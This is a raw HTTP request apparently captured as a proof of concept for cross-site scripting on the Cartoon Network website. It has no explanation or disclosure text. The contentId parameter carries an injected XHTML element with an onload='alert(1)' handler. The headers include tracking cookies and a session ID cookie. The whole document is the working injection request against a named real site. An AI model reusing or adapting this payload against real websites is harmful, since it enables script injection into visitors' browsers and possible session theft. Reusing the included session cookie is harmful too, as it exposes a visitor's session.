GET /cnservice/content/xml/getContentById.do?contentId=480582880c<a%20xmlns%3aa%3d'http%3a//www.w3.org/1999/xhtml'><a%3abody%20onload%3d'alert(1)'/></a>d0d919a447&depth=4&date=http://www.cartoonnetwork.com/ HTTP/1.1 Host: www.cartoonnetwork.com Proxy-Connection: keep-alive Referer: http://www.cartoonnetwork.com/tools/media/home/brandingShell.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2681726C051D112C-40000103C04C4A5B[CE]; JSESSIONID=240CE42B6043A2AD9A3BADAFB2EEA696; 1401316autoFreqCap=0